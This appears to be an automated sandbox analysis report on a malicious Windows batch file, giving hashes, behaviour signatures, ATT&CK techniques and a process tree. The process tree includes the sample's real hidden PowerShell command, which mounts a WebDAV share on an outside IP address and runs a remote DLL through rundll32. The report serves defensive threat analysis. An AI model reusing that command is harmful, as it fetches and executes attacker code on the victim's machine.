fe058b4127427e79d6eef9dcb97fd2d0aae0964e033bcfac43b67a51ddd4a0c9

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
13/07/2024, 13:16

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General

Target

fe058b4127427e79d6eef9dcb97fd2d0aae0964e033bcfac43b67a51ddd4a0c9.bat
Size

2KB
MD5

ba1fee914528c6a5fe382d45b5ad9e84
SHA1

b27aa2ce3bf2dcea79ca1a01d55cf05d58c09068
SHA256

fe058b4127427e79d6eef9dcb97fd2d0aae0964e033bcfac43b67a51ddd4a0c9
SHA512

a133330ca04093b44ad2fba1efd61461f46c5d43e3f28f7edcc50cfc16175b44c923ddb3d342f7f6b1c301e81a8a893e5824d740d44c27dab6994f9dd2c6dc59

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2724	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2724	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2724	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2800	wordpad.exe
2800	wordpad.exe
2800	wordpad.exe
2800	wordpad.exe
2800	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 2800	2128	cmd.exe	31
PID 2128 wrote to memory of 2800	2128	cmd.exe	31
PID 2128 wrote to memory of 2800	2128	cmd.exe	31
PID 2128 wrote to memory of 2724	2128	cmd.exe	32
PID 2128 wrote to memory of 2724	2128	cmd.exe	32
PID 2128 wrote to memory of 2724	2128	cmd.exe	32
PID 2724 wrote to memory of 2660	2724	powershell.exe	34
PID 2724 wrote to memory of 2660	2724	powershell.exe	34
PID 2724 wrote to memory of 2660	2724	powershell.exe	34
PID 2724 wrote to memory of 2556	2724	powershell.exe	35
PID 2724 wrote to memory of 2556	2724	powershell.exe	35
PID 2724 wrote to memory of 2556	2724	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\fe058b4127427e79d6eef9dcb97fd2d0aae0964e033bcfac43b67a51ddd4a0c9.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2324.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2660
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2324.dll entry
    3⤵
    PID:2556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2128-16-0x00000000021F0000-0x00000000022F0000-memory.dmp

Filesize
1024KB

Download
memory/2128-17-0x00000000021F0000-0x00000000022F0000-memory.dmp

Filesize
1024KB

Download
memory/2724-23-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2724-24-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download